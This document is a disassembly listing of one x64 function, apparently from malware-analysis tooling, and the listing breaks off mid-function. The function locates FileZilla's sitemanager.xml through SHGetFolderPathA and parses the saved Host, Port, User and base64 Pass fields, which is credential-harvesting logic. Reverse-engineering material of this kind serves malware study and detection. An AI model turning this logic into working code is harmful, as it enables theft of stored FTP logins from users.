Function at 0x1800ad970
Capabilities:
Get common file path

Disassembly:
push rbp
push rbx
push r12
push r13
push r14
lea rbp, [rsp - 0x270]
sub rsp, 0x370
mov rax, qword [0x180128010]
xor rax, rsp
mov qword [rbp + 0x250], rax
xor ebx, ebx
mov qword [rcx + 0x18], 0xf
mov r14, rdx
mov qword [rcx], rbx
mov r12, rcx
mov qword [rcx + 0x10], rbx
lea rax, [rbp + 0x140]
mov qword [rbp + 0x100], rbx
lea edx, [rbx + 0x1a]
mov qword [rbp + 0x110], rbx
xor r9d, r9d
mov qword [rbp + 0x118], 0xf
xor r8d, r8d
mov qword [rbp + 0xc0], rbx
xor ecx, ecx
mov qword [rbp + 0xd0], rbx
mov qword [rbp + 0xd8], 0xf
mov r13d, ebx
mov qword [rbp + 0xa0], rbx
mov qword [rbp + 0xb0], rbx
mov qword [rbp + 0xb8], 0xf
mov qword [rbp + 0xe0], rbx
mov qword [rbp + 0xf0], rbx
mov qword [rbp + 0xf8], 0xf
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rax, [rbp + 0x140]
mov qword [rbp + 0x80], rbx
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x90], rbx
mov qword [rbp + 0x98], 0xf
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], bl
jne 0x1800ada60
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x80]
call fcn.1800c1060
mov r8d, 1
lea rdx, [0x1801160b8]
lea rcx, [rbp + 0x80]
call fcn.1800c0730
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x1800adaf5
mov rcx, qword [rbp + 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800adaf0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800af24a
call fcn.1800ce78c
mov r8d, 0x19
mov qword [rbp + 0x90], rbx
lea rdx, str.FileZilla_sitemanager.xml
mov qword [rbp + 0x98], 0xf
lea rcx, [rsp + 0x40]
mov byte [rbp + 0x80], bl
call fcn.1800c0730
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x120], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x130], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1800adb84
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800adb7f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800af250
call fcn.1800ce78c
cmp qword [rbp + 0x138], 0x10
lea rcx, [rbp + 0x120]
mov qword [rsp + 0x3b0], rsi
lea rdx, [0x180116130]
cmovae rcx, qword [rbp + 0x120]
mov qword [rsp + 0x368], rdi
mov qword [rsp + 0x360], r15
call fcn.1800da3c8
test rax, rax
je 0x1800af1c0
mov rcx, rax
call fcn.1800da458
mov rcx, qword [rbp + 0x130]
inc rcx
call fcn.1800ceb50
cmp qword [rbp + 0x138], 0x10
lea rcx, [rbp + 0x120]
mov rdx, rax
mov r8, rax
cmovae rcx, qword [rbp + 0x120]
sub rdx, rcx
nop
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x1800adc00
lea rdx, [0x180116130]
mov rcx, r8
call fcn.1800da3c8
mov rcx, rax
mov r15, rax
call fcn.1800dd5b8
test eax, eax
jne 0x1800af115
lea rdi, [0x180131770]
nop word [rax + rax]
mov r8, r15
mov edx, 0x800
mov rcx, rdi
call fcn.1800dc0f4
test rax, rax
je 0x1800af105
mov qword [rbp + 0x80], rbx
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x90], rbx
mov qword [rbp + 0x98], 0xf
nop dword [rax]
inc r8
cmp byte [rdi + r8], 0
jne 0x1800adc80
mov rdx, rdi
lea rcx, [rbp + 0x80]
call fcn.1800c1060
cmp qword [rbp + 0x98], 0x10
lea rsi, [rbp + 0x80]
mov rdi, qword [rbp + 0x90]
cmovae rsi, qword [rbp + 0x80]
cmp rdi, 0x10
jae 0x1800adcd0
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x78], 0xf
movups xmmword [rsp + 0x60], xmm0
jmp 0x1800add4d
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800add24
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800af256
mov rcx, rax
call fcn.1800ce794
mov rcx, rax
test rax, rax
je 0x1800af25c
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800add32
test rcx, rcx
je 0x1800add30
call fcn.1800ce794
jmp 0x1800add32
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x60], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d1860
mov qword [rsp + 0x78], rbx
xor ebx, ebx
mov r8d, 6
mov qword [rsp + 0x70], rdi
lea rdx, str._Host_
mov qword [rsp + 0x40], rbx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], 0xf
call fcn.1800c1060
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.18008c600
test eax, eax
jle 0x1800ae03b
cmp qword [rbp + 0x98], 0x10
lea rsi, [rbp + 0x80]
mov rdi, qword [rbp + 0x90]
cmovae rsi, qword [rbp + 0x80]
cmp rdi, 0x10
jae 0x1800addc8
movups xmm0, xmmword [rsi]
mov qword [rbp - 0x68], 0xf
movups xmmword [rbp - 0x80], xmm0
jmp 0x1800ade43
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800ade1c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800af256
mov rcx, rax
call fcn.1800ce794
mov rcx, rax
test rax, rax
je 0x1800af25c
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800ade2a
test rcx, rcx
je 0x1800ade28
call fcn.1800ce794
jmp 0x1800ade2a
xor eax, eax
lea r8, [rdi + 1]
mov qword [rbp - 0x80], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d1860
mov qword [rbp - 0x68], rbx
xor ebx, ebx
mov r8d, 7
mov qword [rbp - 0x70], rdi
lea rdx, str.__Host_
mov qword [rbp - 0x60], rbx
lea rcx, [rbp - 0x60]
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], 0xf
call fcn.1800c1060
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x60]
call fcn.18008c600
test eax, eax
jle 0x1800ae03b
mov rsi, qword [rbp + 0x98]
lea rcx, [rbp + 0x80]
mov rdi, qword [rbp + 0x80]
lea r9, str._Host_
mov rbx, qword [rbp + 0x90]
cmp rsi, 0x10
mov rdx, rbx
mov qword [rsp + 0x20], 6
cmovae rcx, rdi
call fcn.1800c1fc0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0xf
lea rcx, [rax + 6]
cmp rbx, rcx
jb 0x1800af268
sub rbx, rcx
lea rdx, [rbp + 0x80]
mov r8d, 0xff
cmp rbx, r8
cmovb r8, rbx
cmp rsi, 0x10
cmovae rdx, rdi
add rdx, rcx
lea rcx, [rsp + 0x40]
call fcn.1800c1060
mov rdx, qword [rbp + 0x118]
cmp rdx, 0x10
jb 0x1800adf53
mov rcx, qword [rbp + 0x100]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800adf4e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800af25c
call fcn.1800ce78c
movups xmm1, xmmword [rsp + 0x50]
lea rcx, [rbp + 0x100]
mov qword [rsp + 0x58], 0xf
movups xmm0, xmmword [rsp + 0x40]
mov qword [rsp + 0x20], 7
lea r9, str.__Host_
movq rbx, xmm1
movq rsi, xmm0
mov rdx, rbx
movups xmmword [rbp + 0x100], xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
cmp rdi, 0x10
movups xmmword [rbp + 0x110], xmm1
cmovae rcx, rsi
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rax
call fcn.1800c1fc0
cmp rbx, rax
lea rdx, [rbp + 0x100]
lea rcx, [rsp + 0x40]
cmovb rax, rbx
cmp rdi, 0x10
mov r8, rax
cmovae rdx, rsi
call fcn.1800c1060
mov rdx, qword [rbp + 0x118]
cmp rdx, 0x10
jb 0x1800ae023
mov rcx, qword [rbp + 0x100]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ae01e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800af25c
call fcn.1800ce78c
movups xmm0, xmmword [rsp + 0x40]
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rbp + 0x100], xmm0
movups xmmword [rbp + 0x110], xmm1
cmp qword [rbp + 0x98], 0x10
lea rsi, [rbp + 0x80]
mov rdi, qword [rbp + 0x90]
cmovae rsi, qword [rbp + 0x80]
cmp rdi, 0x10
jae 0x1800ae070
movups xmm0, xmmword [rsi]
mov qword [rbp - 0x68], 0xf
movups xmmword [rbp - 0x80], xmm0
jmp 0x1800ae0e9
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800ae0c4
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800af256
mov rcx, rax
call fcn.1800ce794
mov rcx, rax
test rax, rax
je 0x1800af25c
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800ae0d2
test rcx, rcx
je 0x1800ae0d0
call fcn.1800ce794
jmp 0x1800ae0d2
xor eax, eax
lea r8, [rdi + 1]
mov qword [rbp - 0x80], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d1860
mov qword [rbp - 0x68], rbx
xor ebx, ebx
mov qword [rbp - 0x70], rdi
lea rdx, str._Port_
mov qword [rsp + 0x40], rbx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], 0xf
lea r8d, [rbx + 6]
call fcn.1800c1060
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x40]
call fcn.18008c600
test eax, eax
jle 0x1800ae3d5
cmp qword [rbp + 0x98], 0x10
lea rsi, [rbp + 0x80]
mov rdi, qword [rbp + 0x90]
cmovae rsi, qword [rbp + 0x80]
cmp rdi, 0x10
jae 0x1800ae164
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x78], 0xf
movups xmmword [rsp + 0x60], xmm0
jmp 0x1800ae1e1
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800ae1b8
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800af256
mov rcx, rax
call fcn.1800ce794
mov rcx, rax
test rax, rax
je 0x1800af25c
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800ae1c6
test rcx, rcx
je 0x1800ae1c4
call fcn.1800ce794
jmp 0x1800ae1c6
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x60], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d1860
mov qword [rsp + 0x78], rbx
xor ebx, ebx
mov r8d, 7
mov qword [rsp + 0x70], rdi
lea rdx, str.__Port_
mov qword [rbp - 0x60], rbx
lea rcx, [rbp - 0x60]
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], 0xf
call fcn.1800c1060
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x60]
call fcn.18008c600
test eax, eax
jle 0x1800ae3d5
mov rsi, qword [rbp + 0x98]
lea rcx, [rbp + 0x80]
mov rdi, qword [rbp + 0x80]
lea r9, str._Port_
mov rbx, qword [rbp + 0x90]
cmp rsi, 0x10
mov rdx, rbx
mov qword [rsp + 0x20], 6
cmovae rcx, rdi
call fcn.1800c1fc0
mov qword [rsp + 0x58], 0xf
lea rcx, [rax + 6]
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rax
cmp rbx, rcx
jb 0x1800af268
sub rbx, rcx
lea rdx, [rbp + 0x80]
mov r8d, 0xff
cmp rbx, r8
cmovb r8, rbx
cmp rsi, 0x10
cmovae rdx, rdi
add rdx, rcx
lea rcx, [rsp + 0x40]
call fcn.1800c1060
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
jb 0x1800ae2ed
mov rcx, qword [rbp + 0xe0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ae2e8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800af25c
call fcn.1800ce78c
movups xmm1, xmmword [rsp + 0x50]
lea rcx, [rbp + 0xe0]
mov qword [rsp + 0x58], 0xf
movups xmm0, xmmword [rsp + 0x40]
mov qword [rsp + 0x20], 7
lea r9, str.__Port_
movq rbx, xmm1
movq rsi, xmm0
mov rdx, rbx
movups xmmword [rbp + 0xe0], xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
cmp rdi, 0x10
movups xmmword [rbp + 0xf0], xmm1
cmovae rcx, rsi
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rax
call fcn.1800c1fc0
cmp rbx, rax
lea rdx, [rbp + 0xe0]
lea rcx, [rsp + 0x40]
cmovb rax, rbx
cmp rdi, 0x10
mov r8, rax
cmovae rdx, rsi
call fcn.1800c1060
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
jb 0x1800ae3bd
mov rcx, qword [rbp + 0xe0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ae3b8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800af25c
call fcn.1800ce78c
movups xmm0, xmmword [rsp + 0x40]
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm1
cmp qword [rbp + 0x98], 0x10
lea rsi, [rbp + 0x80]
mov rdi, qword [rbp + 0x90]
cmovae rsi, qword [rbp + 0x80]
cmp rdi, 0x10
jae 0x1800ae40a
movups xmm0, xmmword [rsi]
mov qword [rbp - 0x68], 0xf
movups xmmword [rbp - 0x80], xmm0
jmp 0x1800ae483
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800ae45e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800af256
mov rcx, rax
call fcn.1800ce794
mov rcx, rax
test rax, rax
je 0x1800af25c
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800ae46c
test rcx, rcx
je 0x1800ae46a
call fcn.1800ce794
jmp 0x1800ae46c
xor eax, eax
lea r8, [rdi + 1]
mov qword [rbp - 0x80], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d1860
mov qword [rbp - 0x68], rbx
xor ebx, ebx
mov qword [rbp - 0x70], rdi
lea rdx, str._User_
mov qword [rsp + 0x40], rbx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], 0xf
lea r8d, [rbx + 6]
call fcn.1800c1060
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x40]
call fcn.18008c600
test eax, eax
jle 0x1800ae76f
cmp qword [rbp + 0x98], 0x10
lea rsi, [rbp + 0x80]
mov rdi, qword [rbp + 0x90]
cmovae rsi, qword [rbp + 0x80]
cmp rdi, 0x10
jae 0x1800ae4fe
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x78], 0xf
movups xmmword [rsp + 0x60], xmm0
jmp 0x1800ae57b
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800ae552
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800af256
mov rcx, rax
call fcn.1800ce794
mov rcx, rax
test rax, rax
je 0x1800af25c
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800ae560
test rcx, rcx
je 0x1800ae55e
call fcn.1800ce794
jmp 0x1800ae560
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x60], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d1860
mov qword [rsp + 0x78], rbx
xor ebx, ebx
mov r8d, 7
mov qword [rsp + 0x70], rdi
lea rdx, str.__User_
mov qword [rbp - 0x60], rbx
lea rcx, [rbp - 0x60]
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], 0xf
call fcn.1800c1060
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x60]
call fcn.18008c600
test eax, eax
jle 0x1800ae76f
mov rsi, qword [rbp + 0x98]
lea rcx, [rbp + 0x80]
mov rdi, qword [rbp + 0x80]
lea r9, str._User_
mov rbx, qword [rbp + 0x90]
cmp rsi, 0x10
mov rdx, rbx
mov qword [rsp + 0x20], 6
cmovae rcx, rdi
call fcn.1800c1fc0
mov qword [rsp + 0x58], 0xf
lea rcx, [rax + 6]
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rax
cmp rbx, rcx
jb 0x1800af268
sub rbx, rcx
lea rdx, [rbp + 0x80]
mov r8d, 0xff
cmp rbx, r8
cmovb r8, rbx
cmp rsi, 0x10
cmovae rdx, rdi
add rdx, rcx
lea rcx, [rsp + 0x40]
call fcn.1800c1060
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x1800ae687
mov rcx, qword [rbp + 0xc0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ae682
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800af25c
call fcn.1800ce78c
movups xmm1, xmmword [rsp + 0x50]
lea rcx, [rbp + 0xc0]
mov qword [rsp + 0x58], 0xf
movups xmm0, xmmword [rsp + 0x40]
mov qword [rsp + 0x20], 7
lea r9, str.__User_
movq rbx, xmm1
movq rsi, xmm0
mov rdx, rbx
movups xmmword [rbp + 0xc0], xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
cmp rdi, 0x10
movups xmmword [rbp + 0xd0], xmm1
cmovae rcx, rsi
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rax
call fcn.1800c1fc0
cmp rbx, rax
lea rdx, [rbp + 0xc0]
lea rcx, [rsp + 0x40]
cmovb rax, rbx
cmp rdi, 0x10
mov r8, rax
cmovae rdx, rsi
call fcn.1800c1060
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x1800ae757
mov rcx, qword [rbp + 0xc0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ae752
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800af25c
call fcn.1800ce78c
movups xmm0, xmmword [rsp + 0x40]
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm1
cmp qword [rbp + 0x98], 0x10
lea rsi, [rbp + 0x80]
mov rdi, qword [rbp + 0x90]
cmovae rsi, qword [rbp + 0x80]
cmp rdi, 0x10
jae 0x1800ae7a4
movups xmm0, xmmword [rsi]
mov qword [rbp - 0x68], 0xf
movups xmmword [rbp - 0x80], xmm0
jmp 0x1800ae81d
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800ae7f8
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800af256
mov rcx, rax
call fcn.1800ce794
mov rcx, rax
test rax, rax
je 0x1800af25c
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800ae806
test rcx, rcx
je 0x1800ae804
call fcn.1800ce794
jmp 0x1800ae806
xor eax, eax
lea r8, [rdi + 1]
mov qword [rbp - 0x80], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d1860
mov qword [rbp - 0x68], rbx
xor ebx, ebx
mov qword [rbp - 0x70], rdi
lea rdx, str._Pass_encoding_base64__
mov qword [rsp + 0x40], rbx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], 0xf
lea r8d, [rbx + 0x18]
call fcn.1800c1060
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x40]
call fcn.18008c600
test eax, eax
jle 0x1800aebe3
cmp qword [rbp + 0x98], 0x10
lea rsi, [rbp + 0x80]
mov rdi, qword [rbp + 0x90]
cmovae rsi, qword [rbp + 0x80]
cmp rdi, 0x10
jae 0x1800ae898
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x78], 0xf
movups xmmword [rsp + 0x60], xmm0
jmp 0x1800ae915
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800ae8ec
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800af256
mov rcx, rax
call fcn.1800ce794
mov rcx, rax
test rax, rax
je 0x1800af25c
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800ae8fa
test rcx, rcx
je 0x1800ae8f8
call fcn.1800ce794
jmp 0x1800ae8fa
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x60], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d1860
mov qword [rsp + 0x78], rbx
xor ebx, ebx
mov r8d, 7
mov qword [rsp + 0x70], rdi
lea rdx, str.__Pass_
mov qword [rbp - 0x60], rbx
lea rcx, [rbp - 0x60]
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], 0xf
call fcn.1800c1060
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x60]
call fcn.18008c600
test eax, eax
jle 0x1800aebe3
mov rsi, qword [rbp + 0x98]
lea rcx, [rbp + 0x80]
mov rdi, qword [rbp + 0x80]
lea r9, str._Pass_encoding_base64__
mov rbx, qword [rbp + 0x90]
cmp rsi, 0x10
mov rdx, rbx
mov qword [rsp + 0x20], 0x18
cmovae rcx, rdi
call fcn.1800c1fc0
mov qword [rsp + 0x58], 0xf
lea rcx, [rax + 0x18]
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rax
cmp rbx, rcx
jb 0x1800af268
sub rbx, rcx
lea rdx, [rbp + 0x80]
mov r8d, 0xff
cmp rbx, r8
cmovb r8, rbx
cmp rsi, 0x10
cmovae rdx, rdi
add rdx, rcx
lea rcx, [rsp + 0x40]
call fcn.1800c1060
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x1800aea21
mov rcx, qword [rbp + 0xa0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800aea1c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800af25c
call fcn.1800ce78c
movups xmm1, xmmword [rsp + 0x50]
lea rcx, [rbp + 0xa0]
mov qword [rsp + 0x58], 0xf
movups xmm0, xmmword [rsp + 0x40]
mov qword [rsp + 0x20], 7
lea r9, str.__Pass_
movq rbx, xmm1
movq rsi, xmm0
mov rdx, rbx
movups xmmword [rbp + 0xa0], xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
cmp rdi, 0x10
movups xmmword [rbp + 0xb0], xmm1
cmovae rcx, rsi
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rax
call fcn.1800c1fc0
cmp rbx, rax
lea rdx, [rbp + 0xa0]
lea rcx, [rsp + 0x40]
cmovb rax, rbx
cmp rdi, 0x10
mov r8, rax
cmovae rdx, rsi
call fcn.1800c1060
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x1800aeaf1
mov rcx, qword [rbp + 0xa0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800aeaec
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800af25c
call fcn.1800ce78c
movups xmm0, xmmword [rsp + 0x40]
lea rdx, [rbp + 0xa0]
movups xmm1, xmmword [rsp + 0x50]
lea rcx, [rbp - 0x40]
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm1
call fcn.1800897c0
mov rbx, rax
lea rax, [rbp + 0xa0]
cmp rax, rbx
je 0x1800aeba6
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x1800aeb69
mov rcx, qword [rbp + 0xa0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800aeb64
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800af262
call fcn.1800ce78c
mov qword [rbp + 0xb8], 0xf
xor eax, eax
mov qword [rbp + 0xb0], rax
mov byte [rbp + 0xa0], al
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0xb0], xmm1
mov qword [rbx + 0x10], rax
mov qword [rbx + 0x18], 0xf
mov byte [rbx], al
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x1800aebe1
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800aebdc
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800af262
call fcn.1800ce78c
xor ebx, ebx
mov rcx, qword [rbp + 0x110]
test rcx, rcx
je 0x1800af0f2
cmp qword [rbp + 0xd0], 0
je 0x1800af0f2
cmp qword [rbp + 0xb0], 0
je 0x1800af0f2
cmp qword [r14 + 0x18], 0x10
mov rax, r14
jb 0x1800aec1c
mov rax, qword [r14]
cmp qword [r14 + 0x10], 1
jne 0x1800aec2c
cmp byte [rax], 0x30
jne 0x1800aec2c
mov al, 1
jmp 0x1800aec2e
xor al, al
test al, al
je 0x1800aef9b
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 1
jb 0x1800af244
cmp qword [rbp + 0x118], 0x10
lea rax, [rbp + 0x100]
mov qword [rsp + 0x30], rcx
lea r9, [0x180116190]
cmovae rax, qword [rbp + 0x100]
lea rcx, [rbp + 0x40]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 1
call fcn.1800c3cb0
mov r8d, 1
lea rdx, [0x1801168a8]
lea rcx, [rbp + 0x40]
call fcn.1800c0730
mov qword [rsp + 0x40], rbx
lea rdx, [rbp + 0xe0]
mov qword [rsp + 0x50], rbx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x58], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
cmp qword [rbp + 0xf8], 0x10
mov r8, qword [rbp + 0xf0]
cmovae rdx, qword [rbp + 0xe0]
call fcn.1800c0730
mov r8d, 1
lea rdx, [0x18011618c]
lea rcx, [rbp - 0x40]
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800c0730
mov r8d, 1
lea rdx, [0x180116190]
lea rcx, [rbp + 0x20]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x30], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800c0730
mov qword [rbp - 0x60], rbx
lea rdx, [rbp + 0xc0]
mov qword [rbp - 0x50], rbx
lea rcx, [rbp - 0x60]
mov qword [rbp - 0x48], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
